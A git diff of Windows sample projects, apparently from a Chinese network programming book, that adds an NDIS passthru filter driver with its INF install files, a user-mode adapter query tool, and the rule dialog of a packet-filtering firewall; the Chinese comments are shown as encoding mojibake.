//Length of ip addres=4 + u_short opcode; //Request =1 Reply=2 (highbyte) + u_char smac[6]; //source mac address + ip_addr saddr; //Source ip address + u_char dmac[6]; //Destination mac address + ip_addr daddr; //Destination ip address + +} ARP_HDR, *PARP_HDR; + + + +typedef struct ip_hdr +{ + unsigned char ip_verlen; // 4-bit IPv4 version + // 4-bit header length (in 32-bit words) + unsigned char ip_tos; // IP type of service + unsigned short ip_totallength; // Total length + unsigned short ip_id; // Unique identifier + unsigned short ip_offset; // Fragment offset field + unsigned char ip_ttl; // Time to live + unsigned char ip_protocol; // Protocol(TCP,UDP etc) + unsigned short ip_checksum; // IP checksum + unsigned int ip_srcaddr; // Source address + unsigned int ip_destaddr; // Source address +} IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR; + +typedef struct tcp_hdr //20 bytes +{ + u_short sport; //Source port + u_short dport; //Destination port + u_long seqno; //Sequence no + u_long ackno; //Ack no + u_char offset; //Higher level 4 bit indicates data offset + u_char flag; //Message flag + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + u_short win; + u_short checksum; + u_short uptr; +} TCP_HDR, *PTCP_HDR; + + +//For checksum calculation purpose +struct pseudo_hdr //12 bytes +{ + unsigned int saddr; // Source address + unsigned int daddr; // Destination address + u_char zero; + u_char proto; // Protocol + u_short tcp_len; + tcp_hdr tcp; +}; + +typedef struct icmp_hdr +{ + unsigned char icmp_type; + unsigned char icmp_code; + unsigned short icmp_checksum; + unsigned short icmp_id; + unsigned short icmp_sequence; + unsigned long icmp_timestamp; +} ICMP_HDR, *PICMP_HDR, FAR *LPICMP_HDR; + + + + + */ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/sources" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/sources" new file mode 100644 index 0000000..9d8c62f --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/sources" @@ -0,0 +1,45 @@ +TARGETNAME=passthru +TARGETPATH=obj +TARGETTYPE=DRIVER + +C_DEFINES=$(C_DEFINES) -DNDIS_MINIPORT_DRIVER -DNDIS_WDM=1 + + +!if !defined(DDK_TARGET_OS) || "$(DDK_TARGET_OS)"=="Win2K" +# +# The driver is built in the Win2K build environment +# +C_DEFINES=$(C_DEFINES) -DNDIS40_MINIPORT=1 +C_DEFINES=$(C_DEFINES) -DNDIS40=1 +!else +# +# The driver is built in the XP or .NET build environment +# So let us build NDIS 5.1 version. +# +C_DEFINES=$(C_DEFINES) -DNDIS51_MINIPORT=1 +C_DEFINES=$(C_DEFINES) -DNDIS51=1 +!endif + +# Uncomment the following to build for Win98/SE/WinMe +# This causes several APIs that are not present in Win9X to be +# ifdef'ed out. +# C_DEFINES=$(C_DEFINES) -DWIN9X=1 + +PRECOMPILED_INCLUDE=precomp.h +PRECOMPILED_PCH=precomp.pch +PRECOMPILED_OBJ=precomp.obj + +TARGETLIBS=$(DDK_LIB_PATH)\ndis.lib + +USE_MAPSYM=1 + +INCLUDES= + +SOURCES=\ + miniport.c \ + passthru.c \ + passthru.rc \ + protocol.c \ + PTEXTEND.C \ + filter.c + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/IMIoControl.cpp" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/IMIoControl.cpp" new file mode 100644 index 0000000..dc88be2 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/IMIoControl.cpp" @@ -0,0 +1,6 @@ +//////////////////////////////////////////////////// +// IMIoControl.cppÎļþ + + + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/IMIoControl.h" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/IMIoControl.h" new file mode 100644 index 0000000..62cc0db --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/IMIoControl.h" @@ -0,0 +1,21 @@ +////////////////////////////////////////////// +// IMIoControl.hÎļþ + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/PTUSERIO.CPP" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/PTUSERIO.CPP" new file mode 100644 index 0000000..a66ea6d --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/PTUSERIO.CPP" @@ -0,0 +1,127 @@ +////////////////////////////////////////////////////////// +// PTUSERIO.CPPÎļþ + + +#include +#include +#include +#include "../driver/IOCOMMON.h" +#include "ptutils.h" + +void DisplayAdapterInfo(HANDLE hAdapter) +{ + char buffer[1024 + sizeof(PTUSERIO_OID_DATA) - 1]; + PPTUSERIO_OID_DATA pOid = (PPTUSERIO_OID_DATA)buffer; + pOid->Length = 1024; + + + // ²éѯÖÆÔìÉ̵ÄÃèÊöÐÅÏ¢ + pOid->Oid = OID_GEN_VENDOR_DESCRIPTION; + pOid->Length = 1024; + if(!PtAdapterRequest(hAdapter, pOid, TRUE)) + { + printf(" PtAdapterRequest() failed \n "); + return; + } + wprintf(L" Description: %S \n", (LPWSTR)pOid->Data); + + // ²éѯÕýÔÚʹÓõÄý½é + NDIS_MEDIUM NdisMedium; + pOid->Oid = OID_GEN_MEDIA_IN_USE; + pOid->Length = 1024; + if(!PtAdapterRequest(hAdapter, pOid, TRUE)) + { + printf(" PtAdapterRequest() failed \n "); + return; + } + NdisMedium = *((PNDIS_MEDIUM )pOid->Data); + + switch(NdisMedium) + { + case NdisMedium802_3: + printf(" Medium: NdisMedium802_3 \n"); + break; + case NdisMediumWan: + printf(" Medium: NdisMediumWan \n"); + break; + default: + printf(" unkown type \n"); + break; + } + + // ²éѯÁ¬½Ó״̬ + int nConnectedState; + pOid->Oid = OID_GEN_MEDIA_CONNECT_STATUS; + pOid->Length = 1024; + if(!PtAdapterRequest(hAdapter, pOid, TRUE)) + { + printf(" Media Connect Status: UNKNOWN \n "); + } + else + { + nConnectedState = *((int*)pOid->Data); + printf( " Media Connect Status: %s\n", + nConnectedState == NdisMediaStateConnected ? "Connected" : "Disconnected"); + } + +} + +int main() +{ + HANDLE hControlDevice = PtOpenControlDevice(); + CIMAdapters adapters; + if(!adapters.EnumAdapters(hControlDevice)) + { + printf(" EnumAdapters failed \n"); + return -1; + } + + printf(" Driver Bindings: \n"); + for(int i=0; i +#include +#include +#include +#include + +#include "../driver/IOCOMMON.h" +#include "ptutils.h" + + +HANDLE PtOpenControlDevice() +{ + // ´ò¿ªµ½Çý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + HANDLE hFile = ::CreateFile( + _T("\\\\.\\PassThru"), + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return hFile; +} + +HANDLE PtOpenAdapter(PWSTR pszAdapterName) +{ + // ´ò¿ª¿ØÖÆÉ豸¶ÔÏó¾ä±ú + HANDLE hAdapter = PtOpenControlDevice(); + if(hAdapter == INVALID_HANDLE_VALUE) + return INVALID_HANDLE_VALUE; + + + // È·¶¨ÊÊÅäÆ÷Ãû³ÆµÄ³¤¶È + int nBufferLength = wcslen((PWSTR)pszAdapterName) * sizeof(WCHAR); + + // ·¢ËÍIOCTL_PTUSERIO_OPEN_ADAPTER¿ØÖÆ´úÂ룬´ò¿ªÊÊÅäÆ÷ÉÏÏÂÎÄ + DWORD dwBytesReturn; + BOOL bOK = ::DeviceIoControl(hAdapter, IOCTL_PTUSERIO_OPEN_ADAPTER, + pszAdapterName, nBufferLength, NULL, 0, &dwBytesReturn, NULL); + // ¼ì²é½á¹û + if(!bOK) + { + ::CloseHandle(hAdapter); + return INVALID_HANDLE_VALUE; + } + return hAdapter; +} + +BOOL PtAdapterRequest(HANDLE hAdapter, PPTUSERIO_OID_DATA pOidData, BOOL bQuery) +{ + if(hAdapter == INVALID_HANDLE_VALUE) + return FALSE; + // ·¢ËÍIOCTL + DWORD dw; + int bRet = ::DeviceIoControl( + hAdapter, bQuery ? IOCTL_PTUSERIO_QUERY_OID : IOCTL_PTUSERIO_SET_OID, + pOidData, sizeof(PTUSERIO_OID_DATA) -1 + pOidData->Length, + pOidData, sizeof(PTUSERIO_OID_DATA) -1 + pOidData->Length, &dw, NULL); + + return bRet; +} + + +////////////////////////////////////// + +BOOL CIMAdapters::EnumAdapters(HANDLE hControlDevice) +{ + DWORD dwBufferLength = sizeof(m_buffer); + BOOL bRet = ::DeviceIoControl(hControlDevice, IOCTL_PTUSERIO_ENUMERATE, + NULL, 0, m_buffer, dwBufferLength, &dwBufferLength, NULL); + if(!bRet) + return FALSE; + + // ±£´æÊÊÅäÆ÷ÊýÁ¿ + m_nAdapters = (ULONG)((ULONG*)m_buffer)[0]; + + // ÏÂÃæ´Óm_bufferÖлñÈ¡ÊÊÅäÆ÷Ãû³ÆºÍ·ûºÅÁ¬½ÓÃû³Æ + // Ö¸ÏòÉ豸Ãû³Æ + WCHAR *pwsz = (WCHAR *)((ULONG *)m_buffer + 1); + int i = 0; + m_pwszVirtualName[i] = pwsz; + while(*(pwsz++) != NULL) + { + while(*(pwsz++) != NULL) + { ; } + + m_pwszAdapterName[i] = pwsz; + + while(*(pwsz++) != NULL) + { ; } + + if(++i >= MAX_ADAPTERS) + break; + + m_pwszVirtualName[i] = pwsz; + } + + return TRUE; +} + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/ptutils.h" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/ptutils.h" new file mode 100644 index 0000000..203a8fb --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/ptutils.h" @@ -0,0 +1,23 @@ +//////////////////////////////////////////////////////// +// ptutils.hÎļþ + + +HANDLE PtOpenControlDevice(); +HANDLE PtOpenAdapter(PWSTR pszAdapterName); +BOOL PtAdapterRequest(HANDLE hAdapter, PPTUSERIO_OID_DATA pOidData, BOOL bQuery); + + +#define MAX_ADAPTERS 10 +class CIMAdapters // ptutils.hÎļþ +{ +public: + // ö¾ÙIM°ó¶¨µÄÊÊÅäÆ÷ + BOOL EnumAdapters(HANDLE hControlDevice); + int m_nAdapters; + LPWSTR m_pwszAdapterName[MAX_ADAPTERS]; + LPWSTR m_pwszVirtualName[MAX_ADAPTERS]; +protected: + char m_buffer[MAX_ADAPTERS*256]; +}; + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/test.sln" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/test.sln" new file mode 100644 index 0000000..93f6517 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/test.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 9.00 +# Visual Studio 2005 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "test", "test.vcproj", "{A29BE8D3-D9D4-4692-A557-65E2B929B17F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A29BE8D3-D9D4-4692-A557-65E2B929B17F}.Debug|Win32.ActiveCfg = Debug|Win32 + {A29BE8D3-D9D4-4692-A557-65E2B929B17F}.Debug|Win32.Build.0 = Debug|Win32 + {A29BE8D3-D9D4-4692-A557-65E2B929B17F}.Release|Win32.ActiveCfg = Release|Win32 + {A29BE8D3-D9D4-4692-A557-65E2B929B17F}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/test.suo" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/test.suo" new file mode 100644 index 0000000..cf7a150 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/test.suo" differ diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/test.vcproj" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/test.vcproj" new file mode 100644 index 0000000..2ebeff9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/test/test.vcproj" @@ -0,0 +1,266 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/_desktop.ini" "b/Project/Network and Communication/\347\254\25411\347\253\240/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/install/_desktop.ini" "b/Project/Network and Communication/\347\254\25411\347\253\240/install/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/install/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/install/netsf.inf" "b/Project/Network and Communication/\347\254\25411\347\253\240/install/netsf.inf" new file mode 100644 index 0000000..9e700e0 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/install/netsf.inf" @@ -0,0 +1,156 @@ +; -- NETSF.INF -- +; +; Passthru driver INF file - this is the INF for the service (protocol) +; part. +; +; Copyright (c) 1993-2001, Microsoft Corporation +; +; ---------------------------------------------------------------------- +; Notes: +; 0. The term "filter" is used in this INF to refer to an NDIS IM driver that +; implements a 1:1 relationship between upper and lower bindings. +; +; 1. Items specifically required for a filter have been marked with +; "!!--Filter Specific--!!" keyword +; 2. In general a filter DOES NOT require a notify object for proper installation. +; A notify object is only required if one wants to have better control +; over binding operations or if one wants to receive notifications +; when other components get installed/removed/bound/unbound. +; Since Windows 2000 systems do not have support for CopyINF directive, +; a notify object is required to programmatically copy the miniport INF +; file to the system INF directory. Previous versions of this INF file +; erroneously used to copy the INF files directly by using the CopyFiles +; directive. +; On Windows XP, you can install a filter IM without a notify object. +; by following the instructions in (4). +; +; 3. If you want to use this INF file with your own IM driver, please +; make the following modifications: +; File netsf.inf +; -------------- +; a. In section [SourceDiskFiles] and [Passthru.Files.Sys] +; change passthru.sys to the name of your own driver binary. +; b. In section [Passthru.ndi.AddReg], change values of +; BindForm and MiniportId to appropriate values. +; File netsf_m.inf +; ---------------- +; a. Replace MS_PassthruMP with InfId of your miniport. +; b. In section [PassthruMP.AddService], +; change ServiceBinary appropriately. +; c. In section [PassthruMP.ndi.AddReg], +; change "Passthru" in the line having "Service" +; to reflect the appropriate name +; +; +; ---------------------------------------------------------------------- + +[Version] +Signature = "$Windows NT$" +Class = NetService +ClassGUID = {4D36E974-E325-11CE-BFC1-08002BE10318} +Provider = %Msft% +DriverVer = 06/24/1999,5.00.2071.1 + + +[Manufacturer] +%Msft% = MSFT + +[ControlFlags] + +;========================================================================= +; +;========================================================================= + +[MSFT] +%Passthru_Desc% = Passthru.ndi, ms_passthru + + + +[Passthru.ndi] +AddReg = Passthru.ndi.AddReg, Passthru.AddReg +Characteristics = 0x4410 ; NCF_FILTER | NCF_NDIS_PROTOCOL !--Filter Specific--!! +CopyFiles = Passthru.Files.Sys +CopyInf = netsf_m.inf + +[Passthru.ndi.Remove] +DelFiles = Passthru.Files.Sys + +[Passthru.ndi.Services] +AddService = Passthru,, Passthru.AddService + +[Passthru.AddService] +DisplayName = %PassthruService_Desc% +ServiceType = 1 ;SERVICE_KERNEL_DRIVER +StartType = 3 ;SERVICE_DEMAND_START +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +ServiceBinary = %12%\passthru.sys +LoadOrderGroup = PNP_TDI +AddReg = Passthru.AddService.AddReg + + +[Passthru.AddService.AddReg] +; ---------------------------------------------------------------------- +; Add any miniport-specific parameters here. These are params that your +; filter device is going to use. +; +;HKR, Parameters, ParameterName, 0x10000, "MultiSz", "Parameter", "Value" +;HKR, Parameters, ParameterName2, 0x10001, 4 + + +; ---------------------------------------------------------------------- +; File copy +; +[SourceDisksNames] +1=%DiskDescription%,"",, + +[SourceDisksFiles] +passthru.sys=1 + +[DestinationDirs] +DefaultDestDir = 12 +Passthru.Files.Sys = 12 ; %windir%\System32\drivers + +[Passthru.Files.Sys] +passthru.sys,,,2 + +; ---------------------------------------------------------------------- +; Filter Install +; + +[Passthru.ndi.AddReg] +HKR, Ndi, HelpText, , %Passthru_HELP% + +; ---------------------------------------------------------------------- +; !!--Filter Specific--!! +; +; Note: +; 1. Other components may also have UpperRange/LowerRange but for filters +; the value of both of them must be noupper/nolower +; 2. The value FilterClass is required. +; 3. The value Service is required +; 4. FilterDeviceInfId is the InfId of the filter device (miniport) that will +; be installed for each filtered adapter. +; In this case this is ms_passthrump (refer to netsf_m.inf) +; +HKR, Ndi, FilterClass, , failover +HKR, Ndi, FilterDeviceInfId, , ms_passthrump +HKR, Ndi, Service, , Passthru +HKR, Ndi\Interfaces, UpperRange, , noupper +HKR, Ndi\Interfaces, LowerRange, , nolower +HKR, Ndi\Interfaces, FilterMediaTypes, , "ethernet, tokenring, fddi, wan" + +[Passthru.AddReg] +; The following key is Required +; The following key is Passthru specific +HKR, Parameters, Param1, 0, 4 + +; ---------------------------------------------------------------------- +[Strings] +Msft = "Microsoft" +DiskDescription = "Microsoft Passthru Driver Disk" + +Passthru_Desc = "Passthru Driver" +Passthru_HELP = "Passthru Driver" +PassthruService_Desc = "Passthru Service" + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/install/netsf_m.inf" "b/Project/Network and Communication/\347\254\25411\347\253\240/install/netsf_m.inf" new file mode 100644 index 0000000..1522514 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/install/netsf_m.inf" @@ -0,0 +1,75 @@ +; -- NETSF_M.INF -- +; +; Passsthru Miniport INF file +; +; Copyright (c) 1993-1999, Microsoft Corporation + +; ---------------------------------------------------------------------- +; Notes: +; 0. The term "filter" is used here to refer to an NDIS IM driver that +; implements a 1:1 relationship between upper and lower bindings. +; 1. Items specifically required for a filter have been marked with +; "!!--Filter Specific--!!" keyword +; 2. A filter DOES NOT require a notify object for proper installation. +; A notify object is only required if one wants to have better control +; over binding operations or if one wants to receive notifications +; when other components get installed/removed/bound/unbound. +; This sample uses a notify object as an example only. If you do not +; want to use a notify object, please comment out the lines that add +; ClsId and ComponentDll registry keys. +; ---------------------------------------------------------------------- + +[Version] +signature = "$Windows NT$" +Class = Net +ClassGUID = {4d36e972-e325-11ce-bfc1-08002be10318} +Provider = %Msft% +DriverVer = 06/24/1999,5.00.2071.1 + +[ControlFlags] +ExcludeFromSelect = ms_passthrump + +[DestinationDirs] +DefaultDestDir=12 +; No files to copy + +[Manufacturer] +%Msft% = MSFT + +[MSFT] +%PassthruMP_Desc% = PassthruMP.ndi, ms_passthrump + +[PassthruMP.ndi] +Characteristics = 0x29 ;NCF_NOT_USER_REMOVABLE | NCF_VIRTUAL | NCF_HIDDEN +CopyFiles = + +[PassthruMP.ndi.Services] +AddService = Passthru,0x2, PassthruMP.AddService + + +[PassthruMP.AddService] +ServiceType = 1 ;SERVICE_KERNEL_DRIVER +StartType = 3 ;SERVICE_DEMAND_START +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +ServiceBinary = %12%\passthru.sys + + +[PassthruMP.AddService.AddReg] +; ---------------------------------------------------------------------- +; Add any miniport-specific parameters here. These are params that your +; filter device is going to use. +; +;HKR, Parameters, ParameterName, 0x10000, "MultiSz", "Parameter", "Value" +;HKR, Parameters, ParameterName2, 0x10001, 4 + +[Strings] +Msft = "Microsoft" +PassthruMP_Desc = "Passthru Miniport" + +[SourceDisksNames] +;None + +[SourceDisksFiles] +;None + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/install/passthru.sys" "b/Project/Network and Communication/\347\254\25411\347\253\240/install/passthru.sys" new file mode 100644 index 0000000..2f68083 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25411\347\253\240/install/passthru.sys" differ diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/IMIoControl.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/IMIoControl.cpp" new file mode 100644 index 0000000..dc88be2 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/IMIoControl.cpp" @@ -0,0 +1,6 @@ +//////////////////////////////////////////////////// +// IMIoControl.cppÎļþ + + + + diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/IMIoControl.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/IMIoControl.h" new file mode 100644 index 0000000..62cc0db --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/IMIoControl.h" @@ -0,0 +1,21 @@ +////////////////////////////////////////////// +// IMIoControl.hÎļþ + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/IOCOMMON.H" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/IOCOMMON.H" new file mode 100644 index 0000000..2d6e289 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/IOCOMMON.H" @@ -0,0 +1,98 @@ +////////////////////////////////////////////////////////////////// +// iocommon.hÎļþ + +#ifndef __IOCOMMON__H +#define __IOCOMMON__H + + +////////////////////////////////////////////////////////// +// ¶¨ÒåIOÊý¾ÝÀàÐÍ + + +typedef struct _PTUSERIO_OID_DATA +{ + ULONG Oid; + ULONG Length; + UCHAR Data[1]; +}PTUSERIO_OID_DATA, *PPTUSERIO_OID_DATA; + + +// ÍøÂç»î¶¯×´Ì¬ +typedef struct _PassthruStatistics +{ + ULONG nMPSendPktsCt; // ͨ¹ýMPSendPacketsµÄ·â°ü + ULONG nMPSendPktsDropped; // ÔÚMPSendPacketsÖжªÆúµÄ·â°ü + ULONG nPTRcvCt; // ͨ¹ýPTReceiveµÄ·â°ü + ULONG nPTRcvDropped; // ÔÚPTReceiveÖжªÆúµÄ·â°ü + ULONG nPTRcvPktCt; // ͨ¹ýPTReceivePacketµÄ·â°ü + ULONG nPTRcvPktDropped; // ÔÚPTReceivePacketÖжªÆúµÄ·â°ü +}PassthruStatistics, *PPassthruStatistics; + +// ¹ýÂ˹æÔò +typedef struct _PassthruFilter +{ + USHORT protocol; // ʹÓõÄЭÒé + + ULONG sourceIP; // Ô´IPµØÖ· + ULONG sourceMask; // Ô´µØÖ·ÆÁ±ÎÂë ÕâÀïʹÓÃÆÁ±ÎÂëÊÇΪÁËÄܹ»ÉèÖÃÒ»¸öIPµØÖ··¶Î§ + + ULONG destinationIP; // Ä¿µÄIPµØÖ· + ULONG destinationMask; // Ä¿µÄµØÖ·ÆÁ±ÎÂë + + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort; // Ä¿µÄ¶Ë¿ÚºÅ + + BOOLEAN bDrop; // ÊÇ·ñ¶ªÆú´Ë·â°ü + +}PassthruFilter, *PPassthruFilter; + + +//////////////////////////////////////////////////////////// +// ¶¨ÒåIO¿ØÖÆ´úÂë + +#define FSCTL_PTUSERIO_BASE FILE_DEVICE_NETWORK + +// ö¾Ù°ó¶¨µÄÊÊÅäÆ÷ +#define IOCTL_PTUSERIO_ENUMERATE \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x201, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// ´ò¿ªÒ»¸öÊÊÅäÆ÷ +#define IOCTL_PTUSERIO_OPEN_ADAPTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x202, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_PTUSERIO_SET_OID \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x203, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_PTUSERIO_QUERY_OID \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x204, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + + +// »ñÈ¡ÍøÂç»î¶¯×´Ì¬ +#define IOCTL_PTUSERIO_QUERY_STATISTICS \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x205, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// ÖØÉèÍøÂç»î¶¯×´Ì¬ +#define IOCTL_PTUSERIO_RESET_STATISTICS \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x206, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò +#define IOCTL_PTUSERIO_ADD_FILTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x207, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// Çå³ý¹ýÂ˹æÔò +#define IOCTL_PTUSERIO_CLEAR_FILTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x208, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + +#endif // __IOCOMMON__H + + + + + + diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/KerRuleDlg.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/KerRuleDlg.cpp" new file mode 100644 index 0000000..3e80988 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/KerRuleDlg.cpp" @@ -0,0 +1,149 @@ +// KerRuleDlg.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "KerRuleDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CKerRuleDlg dialog + +PassthruFilter CKerRuleDlg::m_RuleItem; + + +CKerRuleDlg::CKerRuleDlg(CWnd* pParent /*=NULL*/) + : CDialog(CKerRuleDlg::IDD, pParent) +{ + //{{AFX_DATA_INIT(CKerRuleDlg) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT +} + + +void CKerRuleDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CKerRuleDlg) + DDX_Control(pDX, IDC_SOURCE_PORT, m_SourcePort); + DDX_Control(pDX, IDC_SOURCE_MASK, m_SourceMask); + DDX_Control(pDX, IDC_SOURCE_IP, m_SourceIP); + DDX_Control(pDX, IDC_RULE_PROTOCOL, m_RuleProtocol); + DDX_Control(pDX, IDC_RULE_ACTION, m_RuleAction); + DDX_Control(pDX, IDC_DEST_PORT, m_DestPort); + DDX_Control(pDX, IDC_DEST_MASK, m_DestMask); + DDX_Control(pDX, IDC_DEST_IP, m_DestIP); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CKerRuleDlg, CDialog) + //{{AFX_MSG_MAP(CKerRuleDlg) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CKerRuleDlg message handlers + + +BOOL CKerRuleDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // ³õʼ»¯ÊµÊ©¶¯×÷×éºÏ¿ò×ÊÔ´ + m_RuleAction.SetItemData(m_RuleAction.AddString(L"·ÅÐÐ"), 0); + m_RuleAction.SetItemData(m_RuleAction.AddString(L"¾Ü¾ø"), 1); + m_RuleAction.SetCurSel(0); + + // ³õʼ»¯Ð­Òé×éºÏ¿ò×ÊÔ´ + m_RuleProtocol.SetItemData(m_RuleProtocol.AddString(L"È«²¿"), 0); + m_RuleProtocol.SetItemData(m_RuleProtocol.AddString(L"TCP"), IPPROTO_TCP); + m_RuleProtocol.SetItemData(m_RuleProtocol.AddString(L"UDP"), IPPROTO_UDP); + m_RuleProtocol.SetItemData(m_RuleProtocol.AddString(L"ICMP"), IPPROTO_ICMP); + m_RuleProtocol.SetCurSel(0); + + // ÉèÖÃʵʩ¶¯×÷×éºÏ¿ò + m_RuleAction.SetCurSel(m_RuleItem.bDrop); + + // ÉèÖÃЭÒé×éºÏ¿ò + for(int i=0; i 65535 || nPort < 0) + { + AfxMessageBox(L"Ô´¶Ë¿ÚºÅÎÞЧ£¬ÓÐЧ·¶Î§Îª 0 - 65535£¬ÇëÖØÐÂÊäÈë¡£"); + m_SourcePort.SetFocus(); + return ; + } + tmpRule.sourcePort = nPort; + + // »ñÈ¡Ä¿µÄ¶Ë¿ÚºÅ + m_DestPort.GetWindowText(strDestPort); + nPort = _ttoi(strDestPort); + if(nPort > 65535 || nPort < 0) + { + AfxMessageBox(L"Ä¿µÄ¶Ë¿ÚºÅÎÞЧ£¬ÓÐЧ·¶Î§Îª 0 - 65535£¬ÇëÖØÐÂÊäÈë¡£"); + m_DestPort.SetFocus(); + return ; + } + tmpRule.destinationPort = nPort; + + // ²ÉÈ¡µÄ¶¯×÷ + tmpRule.bDrop = 